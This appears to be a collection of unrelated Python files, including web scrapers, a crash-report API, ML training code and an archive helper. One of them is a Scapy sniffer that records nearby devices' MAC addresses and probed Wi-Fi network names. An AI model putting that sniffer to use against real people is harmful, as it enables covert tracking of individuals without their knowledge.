from aiogram.types import InlineKeyboardMarkup
from aiogram.types.inline_keyboard import InlineKeyboardButton
from .callback_data import buy_callback

choice = InlineKeyboardMarkup(row_width=2,inline_keyboard=[
                                [
                                InlineKeyboardButton(
                                    text="02",
                                    callback_data=buy_callback.new(item_name="zero_two",
                                                                    rating=8)
                                ),
                                InlineKeyboardButton(
                                    text="Mikasa",
                                    callback_data="waifu:mikasa:8"
                                ) ],
                                [InlineKeyboardButton(text="Cancel", callback_data="cancel")]
                                ]
                            )

zero_two_key = InlineKeyboardMarkup()

ZEROTWO_LINK = "https://mywaifulist.moe/waifu/zero-two-darling-in-the-franxx"

zerotwo_link = InlineKeyboardButton(text="Go to this site", url=ZEROTWO_LINK)

zero_two_key.insert(zerotwo_link)

mikasa_key = InlineKeyboardMarkup()

MIKASA_LINK = "https://mywaifulist.moe/waifu/mikasa-ackerman-attack-on-titan"

mikasa_link = InlineKeyboardButton(text="Go to this site", url=MIKASA_LINK)

mikasa_key.insert(mikasa_link)


# -*- coding: utf-8 -*-
"""
棋士一覧を抽出し、データベースの値と比較します。
"""
import datetime
import os
from os.path import join, dirname
import re
import urllib2 as urllib
from bs4 import BeautifulSoup
from db import Dao
from dotenv import load_dotenv
import utils

# .envから環境変数を取得
DOTENV_PATH = join(dirname(__file__), '.env')
load_dotenv(DOTENV_PATH)

# ロガー
LOGGER = utils.get_logger()

PATTERN_KR_RANK = re.compile('.*([0-9])dan.*')
PATTERN_KR_COUNT = re.compile('.*\'([0-9]{1,2}).\'.*')
PATTERN_TW = re.compile('.*dan0([0-9]).*')

MESSAGES = [
    u'WEBと差分が発生しています。',
]

COUNTRIES = {
    1: u'日本',
    2: u'韓国',
    3: u'中国',
    4: u'台湾',
}

def notice_diff(country_id, sites):
    """
    データベース側と比較し、差分があれば通知を行う。
    :param country_id int
    :param sites dict
    """
    # メッセージがすでにあれば空文字を挿入
    # 最終的に配列をjoinするので、改行を複数出すための対策
    if MESSAGES:
        MESSAGES.append('')

    MESSAGES.append('%s' % (COUNTRIES[country_id]))
    has_diff = False
    for data in Dao().totalize(country_id):
        site = sites[data.rank_id]
        if site != data.count:
            LOGGER.warning(
                u'登録データと件数が異なります。%s (Web: %d - DB: %d)',
                data.rank_name, site, data.count
            )
            MESSAGES.append(u'　%s (Web: %d - DB: %d)' % (data.rank_name, site, data.count))
            if not has_diff:
                has_diff = True

    return has_diff

def taiwan_diff():
    """
    台湾棋院所属棋士の差分
    :return bool 差分があればTrue
    """
    LOGGER.info(u'台湾棋院所属棋士の件数を確認します。')

    url = 'http://taiwango.org.tw/chesser.asp'
    html = urllib.urlopen(url)
    dom = BeautifulSoup(html, "html.parser")

    # セレクタ指定が大変なのでwidth属性の指定で検索
    table = dom.select_one('table[width=685]')
    if table is None:
        exit('table is None')

    # 段位を抜き出す
    sites = dict()

    # 6行目から開始
    row_num = 5
    rows = table.select('tr')
    for idx, row in enumerate(rows):
        if idx != row_num:
            continue

        # 1行上は段位
        rank_img = rows[idx - 1].select_one('img')
        rank_num = int(PATTERN_TW.match(rank_img.get('src')).group(1))

        cell = row.select('td div')
        count = len(cell)

        sites[rank_num] = count

        # 次の対象は3行後なので飛ばす
        row_num += 3

    # 差分確認
    return notice_diff(4, sites)

def korean_diff():
    """
    韓国棋院所属棋士の差分抽出
    :return bool 差分があればTrue
    """
    LOGGER.info(u'韓国棋院所属棋士の件数を確認します。')

    url = 'http://www.baduk.or.kr/info/player_list.asp'
    html = urllib.urlopen(url)
    dom = BeautifulSoup(html, "html.parser")

    # 親コンテンツ
    content = dom.select_one('#content')
    if content is None:
        exit('content is None')

    # 段位を抜き出す
    sites = dict()
    for rank in content.select('.facetop'):
        img = rank.find('img').get('src')
        rank_num = int(PATTERN_KR_RANK.match(img).group(1))
        if rank_num == 0:
            continue

        # 段位と棋士の数を取得
        table = rank.find_next('table')
        player_sum = table.find_next('script').get_text()
        sites[rank_num] = int(PATTERN_KR_COUNT.match(player_sum).group(1))

    # 差分確認
    return notice_diff(2, sites)

if __name__ == '__main__':
    """
    棋士一覧からデータを取得
    """
    try:
        START = datetime.datetime.now()
        TAIWAN_DIFF = taiwan_diff()
        KOREAN_DIFF = korean_diff()

        # メール送信
        if (TAIWAN_DIFF or KOREAN_DIFF) and bool(int(os.environ.get('MAIL_SEND'))):
            TO = os.environ.get('MAIL_TO_ADDRESS').encode('utf-8')
            utils.send_mail(START, TO, u'段位差異検出', '\n'.join(MESSAGES))
    except Exception as ex:
        raise ex


import requests
from bs4 import BeautifulSoup
s = requests.Session()

#Session object is used so that any session object we get is maintained and used in the post reqeuest
r = s.get('http://www.transtats.bts.gov/Data_Elements.aspx?Data=2')
soup = BeautifulSoup(r.text)
ev = soup.find(id="__EVENTVALIDATION")
eventvalidation = ev["value"]
#finds the value of this id
vs = soup.find(id="__VIEWSTATE")
viewstate = vs["value"]
vsg = soup.find(id="__VIEWSTATEGENERATOR")
viewstategenerator = vsg["value"]

##r = requests.post("http://www.transtats.bts.gov/Data_Elements.aspx?Data=2",
##                    data={'AirportList': "BOS",
##                          'CarrierList': "VX",
##                          'Submit': 'Submit',
##                          "__EVENTTARGET": "",
##                          "__EVENTARGUMENT": "",
##                          "__EVENTVALIDATION": eventvalidation,
##                          "__VIEWSTATE": viewstate
##                    })

r = s.post("https://www.transtats.bts.gov/Data_Elements.aspx?Data=2",
           data = (
                   ("__EVENTTARGET", ""),
                   ("__EVENTARGUMENT", ""),
                   ("__VIEWSTATE", viewstate),
                   ("__VIEWSTATEGENERATOR",viewstategenerator),
                   ("__EVENTVALIDATION", eventvalidation),
                   ("CarrierList", "VX"),
                   ("AirportList", "BOS"),
                   ("Submit", "Submit")
                  ))

f = open('air.txt','w')
f.write(r.text)


import logging
import psycopg2

from socorro.external.postgresql.base import PostgreSQLBase
from socorro.lib import datetimeutil, external_common, util

import socorro.database.database as db

logger = logging.getLogger("webapi")

class MissingOrBadArgumentException(Exception):
    pass

class Crash(PostgreSQLBase):

    """
    Implement the /crash service with PostgreSQL.
    """

    def __init__(self, *args, **kwargs):
        super(Crash, self).__init__(*args, **kwargs)

    def get(self, **kwargs):
        """Return a single crash report from it's UUID. """
        filters = [
            ("uuid", None, "str"),
        ]
        params = external_common.parse_arguments(filters, kwargs)

        if params.uuid is None:
            raise MissingOrBadArgumentException(
                        "Mandatory parameter 'uuid' is missing or empty")

        crash_date = datetimeutil.uuid_to_date(params.uuid)
        logger.debug("Looking for crash %s during day %s" % (params.uuid,
                                                             crash_date))

        sql = """/* socorro.external.postgresql.crash.Crash.get */
            SELECT reports.email, reports.url, reports.addons_checked,
            (   SELECT reports_duplicates.duplicate_of
                FROM reports_duplicates
                WHERE reports_duplicates.uuid = reports.uuid
            ) as duplicate_of
            FROM reports
            WHERE reports.uuid=%(uuid)s
            AND reports.success IS NOT NULL
            AND utc_day_is( reports.date_processed,  %(crash_date)s)
        """
        sql_params = {
            "uuid": params.uuid,
            "crash_date": crash_date
        }

        results = []

        # Creating the connection to the DB
        self.connection = self.database.connection()
        cur = self.connection.cursor()

        try:
            results = db.execute(cur, sql, sql_params)
        except psycopg2.Error:
            util.reportExceptionAndContinue(logger)

        json_result = {
            "total": 0,
            "hits": []
        }

        for crash in results:
            row = dict(zip((
                       "email",
                       "url",
                       "addons_checked",
                       "duplicate_of"), crash))
            json_result["hits"].append(row)
        json_result["total"] = len(json_result["hits"])

        self.connection.close()

        return json_result


from scrapy import Request, Spider
from weibo_m_repost.items import *
import json
import pymongo
from weibo_m_repost.settings import MONGO_DB, MONGO_URI, LIMIT, KEY_WORD

class WeiziSpider(Spider):
    name = 'weibo'
    allowed_domains = ['m.weibo.cn']
    # 转发
    repost_url = 'https://m.weibo.cn/api/statuses/repostTimeline?id={uid}&page={page}'
    # 微博ID集合
    client = pymongo.MongoClient(MONGO_URI, 27017)
    db = client[MONGO_DB]
    table = db['weibos']
    weibo_m = [str(i["id"]) for i in table.find({"text": {"$regex": KEY_WORD, "$options": "i"}}).limit(LIMIT)]

    def start_requests(self):
        for wei_id in self.weibo_m:
            yield Request(self.repost_url.format(uid=wei_id, page=1), callback=self.parse_repost, meta={'page': 1, 'uid': wei_id})

    def parse_repost(self, response):
        result = json.loads(response.text)
        if result.get('ok') and result.get('data').get('data'):
            reposts = result.get('data').get('data')
            for repost in reposts:
                user = repost.get('user')
                if user:
                    repost_item = RepostItem()
                    repost_item['id'] = user.get('id')
                    repost_item['weibo_id'] = response.meta.get('uid')
                    yield repost_item
            # 下一页转发
            wei_id = response.meta.get('uid')
            page = response.meta.get('page') + 1
            yield Request(self.repost_url.format(uid=wei_id, page=page), callback=self.parse_repost, meta={'page': page, 'uid': wei_id})


import numpy as np

class Optimizer(object):
    def __init__(self, theta):
        self.theta = theta
        self.dim = len(self.theta)
        self.t = 0

    def update(self, globalg):
        self.t += 1
        step = self._compute_step(globalg)
        theta = self.theta
        ratio = np.linalg.norm(step) / np.linalg.norm(theta)
        new_theta = self.theta + step
        self.theta = new_theta
        return ratio, new_theta

    def _compute_step(self, globalg):
        raise NotImplementedError

class SGD(Optimizer):
    def __init__(self, theta, stepsize, momentum=0.9):
        Optimizer.__init__(self, theta)
        self.v = np.zeros(self.dim, dtype=np.float32)
        self.stepsize, self.momentum = stepsize, momentum

    def _compute_step(self, globalg):
        self.v = self.momentum * self.v + (1. - self.momentum) * globalg
        step = -self.stepsize * self.v
        return step

class Adam(Optimizer):
    def __init__(self, theta, stepsize, beta1=0.9, beta2=0.999, epsilon=1e-08):
        Optimizer.__init__(self, theta)
        self.stepsize = stepsize
        self.beta1 = beta1
        self.beta2 = beta2
        self.epsilon = epsilon
        self.m = np.zeros(self.dim, dtype=np.float32)
        self.v = np.zeros(self.dim, dtype=np.float32)

    def _compute_step(self, globalg):
        a = self.stepsize * np.sqrt(1 - self.beta2 ** self.t) / (1 - self.beta1 ** self.t)
        self.m = self.beta1 * self.m + (1 - self.beta1) * globalg
        self.v = self.beta2 * self.v + (1 - self.beta2) * (globalg * globalg)
        step = -a * self.m / (np.sqrt(self.v) + self.epsilon)
        return step


import torch
import kornia
import random
from torchvision import transforms as TR
import torch.nn.functional as F

class AugmentPipe_kornia(torch.nn.Module):
    def __init__(self, prob, no_masks):
        super().__init__()
        self.prob = prob
        self.no_masks = no_masks

    def forward(self, batch):
        x = batch["images"]
        if not self.no_masks:
            mask = batch["masks"]
            mask_ch = mask.shape[1]

        ref = x
        if not self.no_masks:
            new_mask = mask.clone()
        sh = x[-1].shape
        x = combine_fakes(x)

        if not self.no_masks:
            for i in range(len(x)):
                for ch in range(mask_ch, 0, -3):
                    if ch > 2:
                        x[i] = torch.cat((x[i], mask[i].unsqueeze(0)[:, ch-3:ch, :, :]), dim=(0))
                    else:
                        x[i] = torch.cat((x[i], mask[i].unsqueeze(0).repeat(1, 4-ch, 1, 1)[:, :3, :, :]), dim=(0))

        if random.random() < self.prob/2:
            tr = kornia.augmentation.RandomCrop(size=(sh[2], sh[3]), same_on_batch=True)
            for i in range(sh[0]):
                x[i] = torch.nn.functional.interpolate(x[i], size=(2*sh[2], 2*sh[3]), mode="bilinear")
                x[i] = tr(x[i])

        if random.random() < self.prob:
            if random.random() < 0.5:
                r = random.random() * 0.25 + 0.75
                tr = kornia.augmentation.RandomCrop(size=(int(sh[2]*r), int(sh[3]*r)), same_on_batch=True)
                for i in range(sh[0]):
                    x[i] = tr(x[i])
                    x[i] = torch.nn.functional.interpolate(x[i], size=(sh[2], sh[3]), mode="bilinear")
            else:
                tr = kornia.augmentation.RandomRotation(degrees=8, same_on_batch=True)
                for i in range(sh[0]):
                    x[i] = tr(x[i])
                tr = kornia.augmentation.CenterCrop(size=(sh[2]*0.80, sh[3]*0.80))
                for i in range(sh[0]):
                    x[i] = tr(x[i])
                    x[i] = torch.nn.functional.interpolate(x[i], size=(sh[2], sh[3]), mode="bilinear")

        if random.random() < self.prob:
            tr = kornia.augmentation.RandomHorizontalFlip(p=1.0, same_on_batch=True)
            for i in range(sh[0]):
                x[i] = tr(x[i])

        if random.random() < self.prob:
            for i in range(sh[0]):
                x[i] = translate_v_fake(x[i], fraction=(0.05, 0.3))
        if random.random() < self.prob:
            for i in range(sh[0]):
                x[i] = translate_h_fake(x[i], fraction=(0.05, 0.3))

        if not self.no_masks:
            for i in range(len(x)):
                for ch in reversed(range(mask_ch, 0, -3)):
                    if ch > 2:
                        new_mask[i, ch-3:ch] = x[i][-1-(ch-1)//3]
                    else:
                        new_mask[i, :ch] = x[i][-1][:ch]
                x[i] = x[i][:-1-(ch-1)//3]
        x = detach_fakes(x, ref)

        batch["images"] = x
        if not self.no_masks:
            batch["masks"] = new_mask
        return batch

def combine_fakes(inp):
    sh = inp[-1].shape
    ans = list()
    for i in range(sh[0]):
        cur = torch.zeros_like(inp[-1][0, :, :, :]).repeat(len(inp), 1, 1, 1)
        for j in range(len(inp)):
            cur[j, :, :, :] = F.interpolate(inp[j][i, :, :, :].unsqueeze(0), size=(sh[2], sh[3]),
                                                              mode="bilinear")
        ans.append(cur)
    return ans

def detach_fakes(inp, ref):
    ans = list()
    sh = ref[-1].shape
    for i in range(len(ref)):
        cur = torch.zeros_like(ref[i])
        for j in range(sh[0]):
            cur[j, :, :, :] = F.interpolate(inp[j][i, :, :, :].unsqueeze(0),
                                                              size=(ref[i].shape[2], ref[i].shape[3]),
                                                              mode="bilinear")
        ans.append(cur)
    return ans

class myRandomResizedCrop(TR.RandomResizedCrop):
    def __init__(self, size=256, scale=(0.08, 1.0), ratio=(3. / 4., 4. / 3.), ):
        super(myRandomResizedCrop, self).__init__(size, scale, ratio)

    def __call__(self, img):
        i, j, h, w = self.get_params(img, self.scale, self.ratio)
        return TR.functional.resized_crop(img, i, j, h, w, (img.size[1], img.size[0]), self.interpolation)

def translate_v_fake(x, fraction):
    margin = torch.rand(1) * (fraction[1] - fraction[0]) + fraction[0]
    direct_up = (torch.rand(1) < 0.5)  # up or down
    height, width = x.shape[2], x.shape[3]
    left, right = 0, width
    if direct_up:
        top, bottom = 0, int(height * margin)
    else:
        top, bottom = height - int(height * margin), height
    im_to_paste = torch.flip(x[:, :, top:bottom, left:right], (2,))
    if not direct_up:
        x[:, :, 0:height - int(height * margin), :] = x[:, :, int(height * margin):height, :].clone()
        x[:, :, height - int(height * margin):, :] = im_to_paste
    else:
        x[:, :, int(height * margin):height, :] = x[:, :, 0:height - int(height * margin), :].clone()
        x[:, :, :int(height * margin), :] = im_to_paste
    return x

def translate_h_fake(x, fraction):
    margin = torch.rand(1) * (fraction[1] - fraction[0]) + fraction[0]
    direct_left = (torch.rand(1) < 0.5)  # up or down
    height, width = x.shape[2], x.shape[3]
    top, bottom = 0, height
    if direct_left:
        left, right = 0, int(width * margin)
    else:
        left, right = width - int(width * margin), width
    im_to_paste = torch.flip(x[:, :, top:bottom, left:right], (3,))
    if not direct_left:
        x[:, :, :, 0:width - int(width * margin)] = x[:, :, :, int(width * margin):width].clone()
        x[:, :, :, width - int(width * margin):] = im_to_paste
    else:
        x[:, :, :, int(width * margin):width] = x[:, :, :, 0:width - int(width * margin)].clone()
        x[:, :, :, :int(width * margin)] = im_to_paste
    return x


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Sat Sep 22 20:54:42 2018

@author: arjun
"""
from driversakhabotmongo import *
from flask import Flask, jsonify
from flask_cors import CORS
from flask_mongoengine import MongoEngine
from flask_potion import Api, ModelResource, fields
#from flask.ext.potion.contrib.mongoengine.manager import MongoEngineManager

app = Flask(__name__)
app.config.update(
    MONGODB_HOST = 'localhost',
    MONGODB_PORT = '27017',
    MONGODB_DB = 'sakhacabs',
)
CORS(app)
me = MongoEngine(app)

api = Api(app)

class UserResource(ModelResource):
    class Meta:
        name = 'user'
        model = User

    class Schema:
        telegram_id = fields.Integer()
api.add_resource(UserResource)


# IT WILL OPEN MY PAGE 'MARU'S PAGE'
import http.server
import socketserver

PORT = 8002
# Its call whenever there is a request

# CREATING AND OBJECT  -HANDLER-
class TestHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('Get received')
    # SEPARATING THE MESSAGES
        print('Request Line:' + self.requestline)
        print(' cmd: ' + self.command)
        print(' path: ' + self.path)

        content = 'I am the happy server! :-)'

    # THE FIRST LINE
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.send_header('Content-length', len(str.encode(content)))
        self.end_headers()

        self.wfile.write(str.encode(content))

        return

Handler = TestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print('Serving at port', PORT)

    httpd.serve_forever()
# CALLING OUR OWN HANDLER

# WHEN I RUN IT AFTER THE / IT SPECIFIES THE RESOURCE
# IT MEANS THAT IN WEB SERVER I CANT PUT 'LOCALHOST:PORT/HOLA' THE HOLA WILL BE THE RESORUCE

# IN THE WEB SERVER IN THE TOP RIGHT CLICK IN 'WEB DEVELOPER'
# THEN CLICK IN 'NETWORK' AND RELOAD THE PAGE
# CLICK IN THE LINES AND CHECK EVERYTHING (SOME TYPE Of debug)


from typing import Callable
from lab.agent.agent import Agent
from lab.environment.env import Env
from lab.trainer.logger import Logger
import torch
import numpy as np
import random

class Experiment:
    def __init__(self, agent_fn: Callable, env_fn: Callable, logger: Logger, num_runs: int, resume_from_checkpoint: str,
                 seed: int, verbose: bool) -> None:
        self.agent_fn = agent_fn
        self.env_fn = env_fn
        self.logger = logger
        self.num_runs = num_runs
        self.resume_from_checkpoint = resume_from_checkpoint
        self.seeds = self._generate_seed_list(seed, self.num_runs)
        self.verbose = verbose
        self._experiment_phases = []
        self._started_runs = 0

    def __iter__(self):
        return self

    def __next__(self):
        if self._started_runs < self.num_runs:
            self._started_runs += 1
            current_env = self.env_fn()
            self._seed_everything(current_env, seed=self.seeds[self._started_runs - 1])
            current_agent = self.agent_fn()
            if self.resume_from_checkpoint:
                current_agent.load(self.resume_from_checkpoint)
            current_agent.connect_logger(self.logger, run_id=self._started_runs)
            self._print_summary(current_agent, current_env)
            return Run(self._process_fn, current_agent, current_env, self.logger, run_id=self._started_runs)
        else:
            raise StopIteration

    def add_phase(self, phase: Callable) -> None:
        self._experiment_phases.append(phase)

    def _process_fn(self, agent: Agent, env: Env, logger: Logger, run_id: int) -> None:
        for phase in self._experiment_phases:
            yield phase(agent, env, logger, run_id)

    @staticmethod
    def _generate_seed_list(seed: int, num_seeds: int):
        random.seed(a=seed)
        seed_list = random.sample(range(0, 1000), num_seeds)
        return seed_list

    @staticmethod
    def _seed_everything(env: Env, seed: int):
        env.seed(seed)
        torch.manual_seed(seed)
        np.random.seed(seed)

    def _print_summary(self, agent: Agent, env: Env) -> None:
        if self._started_runs == 1:
            print(f"Running {agent.name} on {env.env_name}:")
            agent.summarize()

class Run:
    def __init__(self, process_fn: Callable, agent: Agent, env: Env, logger: Logger, run_id: int) -> None:
        self._process_fn = process_fn
        self.agent = agent
        self.env = env
        self.logger = logger
        self.run_id = run_id
        self._running = False

    def __iter__(self):
        self._running = True
        for phase in self._process_fn(self.agent, self.env, self.logger, self.run_id):
            for value in phase:
                yield value


'''
2021.08.29. 쇠막대기
https://www.acmicpc.net/problem/10799
'''
from sys import stdin, stdout

stdin = open("../input.txt", "r")

ans = 0
bar = stdin.readline().rstrip()
s = []

for i in range(len(bar)):
    if bar[i] == '(':
        s.append(bar[i])
    else:
        s.pop()
        ans += len(s) if bar[i-1] == '(' else 1
print(ans)


"""
Based on 'Neural Network from Scratch' by TheIndependentCode.
Source: https://github.com/TheIndependentCode/Neural-Network/blob/master/mnist_conv.py
"""
import h5py
import numpy as np
from keras.utils import to_categorical

from network import NN
from dense import Dense
from convolution import Convolution
from sigmoid import Sigmoid
from reshape import Reshape
from losses import mse, mse_prime

# Constants
NUM_CLASSES = 3
NUM_NODES = 200

# Function to preprocess data
def preprocess_data(x, y, limit):
    indices = []
    # Selecting indices for each class
    for i in range(NUM_CLASSES):
        # pick digits from 0 to NUM_CLASSES - 1
        class_indices = np.where(y == i)[0][:limit]
        indices.append(class_indices)
    # Combining indices and shuffling
    all_indices = np.hstack(indices)
    all_indices = np.random.permutation(all_indices)
    # Selecting and reshaping data
    x, y = x[all_indices], y[all_indices]
    x = x.reshape(len(x), 1, 28, 28)
    y = to_categorical(y)
    y = y.reshape(len(y), NUM_CLASSES, 1)
    return x, y

# Loading MNIST data
MNIST_data = h5py.File('MNISTdata.hdf5', 'r')
x_train = np.float32(MNIST_data['x_train'][:])
y_train = np.int32(np.array(MNIST_data['y_train'][:,0]))
x_test = np.float32(MNIST_data['x_test'][:])
y_test = np.int32(np.array(MNIST_data['y_test'][:,0]))

# Reshaping data
x_train = x_train.reshape(x_train.shape[0], 28, 28)
x_test = x_test.reshape(x_test.shape[0], 28, 28)
MNIST_data.close()

# Preprocessing data
x_train, y_train = preprocess_data(x_train, y_train, 100)
x_test, y_test = preprocess_data(x_test, y_test, 100)

# Defining network layers
network_layers = [
    Convolution((1, 28, 28), 3, 5),  # Convolution layer
    Sigmoid(),  # Activation layer
    Reshape((5, 26, 26), (5 * 26 * 26, 1)),  # Reshape layer
    Dense(5 * 26 * 26, NUM_NODES),  # Dense layer
    Sigmoid(),  # Activation layer
    Dense(NUM_NODES, NUM_CLASSES),  # Dense layer
    Sigmoid()  # Activation layer
]

# Creating network
CNN = NN(network_layers)

# Training network
CNN.train(
    mse,
    mse_prime,
    x_train,
    y_train,
    epochs=20,
    learning_rate=0.1
)

# Initializing counters
correct_predictions = 0
total_predictions = 0

# Testing network
for x, y in zip(x_test, y_test):
    prediction = CNN.predict(x)
    if np.argmax(prediction) == np.argmax(y):
        correct_predictions += 1
    total_predictions += 1

# Printing accuracy
print(f"Accuracy: {correct_predictions / total_predictions * 100}%")


import requests
import keys
import pandas as pd
from time import sleep

def get_crypto_price(base_currency='USD', assests='BTC,ETH,DOGE,SOL'):
    url = 'https://api.nomics.com/v1/currencies/ticker'

    payload = {'key':keys.NOMICS_KEY, 'ids': assests, 'interval':'1d', 'convert': base_currency}
    responce = requests.get(url, params=payload)
    data = responce.json()

    crypto_currency, crypto_price, crypto_timestamp = [], [], []

    #print(data)

    for asset in data:
        crypto_currency.append(asset['currency'])
        crypto_price.append(asset['price'])
        crypto_timestamp.append(asset['price_timestamp'])

    raw_data = {
        'assets' : crypto_currency,
        'rates' : crypto_price,
        'timestamp' : crypto_timestamp
    }

    df = pd.DataFrame(raw_data)
    return df

def set_alert(dataframe, asset, alert_high_price):
    crypto_value = float(dataframe[dataframe['assets'] == asset]['rates'].item())

    details = f'{asset}: {crypto_value}, Target: {alert_high_price}'

    if crypto_value >= alert_high_price:
        print(details + ' << TARGET VALUE REACHED!!')
    else:
        print(details)

#ALERT While loop
loop = 0

while True:
    print(f'------------------------------------ ({loop}) ------------------------------------')

    try:
        df = get_crypto_price()
        #Add your ticker in below
        set_alert(df, 'BTC', 49581.48)
        set_alert(df, 'ETH', 3345.00)
        set_alert(df, 'DOGE', 0.31760)
        set_alert(df, 'SOL', 72.45)

    except Exception as e:
        print(e)
        print('Couldn\'t retrive the value... Trying again')

    loop += 1
    sleep(10)


import os
import tarfile
import zipfile
from typing import List, Generator, Callable

import rarfile

class XarInfo(object):
    '''Informational class which holds the details about an archive member given by a XarFile.'''

    def __init__(self, _xarinfo, arctype='tar'):
        self._info = _xarinfo
        self.arctype = arctype

    @property
    def name(self) -> str:
        if self.arctype == 'tar':
            return self._info.name
        return self._info.filename

    @property
    def size(self) -> int:
        if self.arctype == 'tar':
            return self._info.size
        return self._info.file_size

class XarFile(object):
    '''
    The XarFile Class provides an interface to tar/rar/zip archives.

    Args:
        name(str) : file or directory name to be archived
        mode(str) : specifies the mode in which the file is opened, it must be:
            ========   ==============================================================================================
            Charater   Meaning
            --------   ----------------------------------------------------------------------------------------------
            'r'        open for reading
            'w'        open for writing, truncating the file first, file will be saved according to the arctype field
            'a'        open for writing, appending to the end of the file if it exists
            ========   ===============================================================================================
        arctype(str) : archive type, support ['tar' 'rar' 'zip' 'tar.gz' 'tar.bz2' 'tar.xz' 'tgz' 'txz'], if
                       the mode if 'w' or 'a', the default is 'tar', if the mode is 'r', it will be based on actual
                       archive type of file
    '''

    def __init__(self, name: str, mode: str, arctype: str = 'tar', **kwargs):
        # if mode is 'w', adjust mode according to arctype field
        if mode == 'w':
            if arctype in ['tar.gz', 'tgz']:
                mode = 'w:gz'
                self.arctype = 'tar'
            elif arctype == 'tar.bz2':
                mode = 'w:bz2'
                self.arctype = 'tar'
            elif arctype in ['tar.xz', 'txz']:
                mode = 'w:xz'
                self.arctype = 'tar'
            else:
                self.arctype = arctype
        # if mode is 'r', adjust mode according to actual archive type of file
        elif mode == 'r':
            if tarfile.is_tarfile(name):
                self.arctype = 'tar'
                mode = 'r:*'
            elif zipfile.is_zipfile(name):
                self.arctype = 'zip'
            elif rarfile.is_rarfile(name):
                self.arctype = 'rar'
        elif mode == 'a':
            self.arctype = arctype
        else:
            raise RuntimeError('Unsupported mode {}'.format(mode))

        if self.arctype in ['tar.gz', 'tar.bz2', 'tar.xz', 'tar', 'tgz', 'txz']:
            self._archive_fp = tarfile.open(name, mode, **kwargs)
        elif self.arctype == 'zip':
            self._archive_fp = zipfile.ZipFile(name, mode, **kwargs)
        elif self.arctype == 'rar':
            self._archive_fp = rarfile.RarFile(name, mode, **kwargs)
        else:
            raise RuntimeError('Unsupported archive type {}'.format(self.arctype))

    def __del__(self):
        self._archive_fp.close()

    def __enter__(self):
        return self

    def __exit__(self, exit_exception, exit_value, exit_traceback):
        if exit_exception:
            print(exit_traceback)
            raise exit_exception(exit_value)
        self._archive_fp.close()
        return self

    def add(self, name: str, arcname: str = None, recursive: bool = True, exclude: Callable = None):
        '''
        Add the file `name' to the archive. `name' may be any type of file (directory, fifo, symbolic link, etc.).
        If given, `arcname' specifies an alternative name for the file in the archive. Directories are added
        recursively by default. This can be avoided by setting `recursive' to False. `exclude' is a function that
        should return True for each filename to be excluded.
        '''
        if self.arctype == 'tar':
            self._archive_fp.add(name, arcname, recursive, filter=exclude)
        else:
            self._archive_fp.write(name)
            if not recursive or not os.path.isdir(name):
                return
            items = []
            for _d, _sub_ds, _files in os.walk(name):
                items += [os.path.join(_d, _file) for _file in _files]
                items += [os.path.join(_d, _sub_d) for _sub_d in _sub_ds]

            for item in items:
                if exclude and not exclude(item):
                    continue
                self._archive_fp.write(item)

    def extract(self, name: str, path: str):
        '''Extract a file from the archive to the specified path.'''
        return self._archive_fp.extract(name, path)

    def extractall(self, path: str):
        '''Extract all files from the archive to the specified path.'''
        return self._archive_fp.extractall(path)

    def getnames(self) -> List[str]:
        '''Return a list of file names in the archive.'''
        if self.arctype == 'tar':
            return self._archive_fp.getnames()
        return self._archive_fp.namelist()

    def getxarinfo(self, name: str) -> List[XarInfo]:
        '''Return the instance of XarInfo given 'name'.'''
        if self.arctype == 'tar':
            return XarInfo(self._archive_fp.getmember(name), self.arctype)
        return XarInfo(self._archive_fp.getinfo(name), self.arctype)

def open(name: str, mode: str = 'w', **kwargs) -> XarFile:
    '''
    Open a xar archive for reading, writing or appending. Return
    an appropriate XarFile class.
    '''
    return XarFile(name, mode, **kwargs)

def archive(filename: str, recursive: bool = True, exclude: Callable = None, arctype: str = 'tar') -> str:
    '''
    Archive a file or directory

    Args:
        name(str) : file or directory path to be archived
        recursive(bool) : whether to recursively archive directories
        exclude(Callable) : function that should return True for each filename to be excluded
        arctype(str) : archive type, support ['tar' 'rar' 'zip' 'tar.gz' 'tar.bz2' 'tar.xz' 'tgz' 'txz']

    Returns:
        str: archived file path

    Examples:
        .. code-block:: python

            archive_path = '/PATH/TO/FILE'
            archive(archive_path, arcname='output.tar.gz', arctype='tar.gz')
    '''
    basename = os.path.splitext(os.path.basename(filename))[0]
    savename = '{}.{}'.format(basename, arctype)
    with open(savename, mode='w', arctype=arctype) as file:
        file.add(filename, recursive=recursive, exclude=exclude)

    return savename

def unarchive(name: str, path: str):
    '''
    Unarchive a file

    Args:
        name(str) : file or directory name to be unarchived
        path(str) : storage name of archive file

    Examples:
        .. code-block:: python

            unarchive_path = '/PATH/TO/FILE'
            unarchive(unarchive_path, path='./output')
    '''
    with open(name, mode='r') as file:
        file.extractall(path)

def unarchive_with_progress(name: str, path: str) -> Generator[str, int, int]:
    '''
    Unarchive a file and return the unarchiving progress -> Generator[filename, extrace_size, total_size]

    Args:
        name(str) : file or directory name to be unarchived
        path(str) : storage name of archive file

    Examples:
        .. code-block:: python

            unarchive_path = 'test.tar.gz'
            for filename, extract_size, total_szie in unarchive_with_progress(unarchive_path, path='./output'):
                print(filename, extract_size, total_size)
    '''
    with open(name, mode='r') as file:
        total_size = extract_size = 0
        for filename in file.getnames():
            total_size += file.getxarinfo(filename).size

        for filename in file.getnames():
            file.extract(filename, path)
            extract_size += file.getxarinfo(filename).size
            yield filename, extract_size, total_size

def is_xarfile(file: str) -> bool:
    '''Return True if xarfile supports specific file, otherwise False'''
    _x_func = [zipfile.is_zipfile, tarfile.is_tarfile, rarfile.is_rarfile]
    for _f in _x_func:
        if _f(file):
            return True
    return False


from scapy.all import Dot11, sniff

try:
    from conf import Config
except ImportError:
    from heyyou.conf import Config

class Sniff:

    def __init__(self):
        self.callback = None

    def start(self, *callback):
        self.callback = callback
        sniff(iface=Config.interface, prn=self.handle_packets)

    def handle_packets(self, packet):
        # Handle Probe Requests
        if packet.haslayer(Dot11) and packet.type == 0 and packet.subtype == 4:
            ssid = packet.info.decode("ascii")
            mac = packet.addr2
            for callback_ in self.callback:
                callback_(mac, ssid)


#!/usr/bin/python

""" Not written by me:
    Heavy modified version of https://github.com/kiritbasu/Fake-Apache-Log-Generator"""

import time
import datetime
import random
import sys
import argparse

class switch(object):
    def __init__(self, value):
        self.value = value
        self.fall = False

    def __iter__(self):
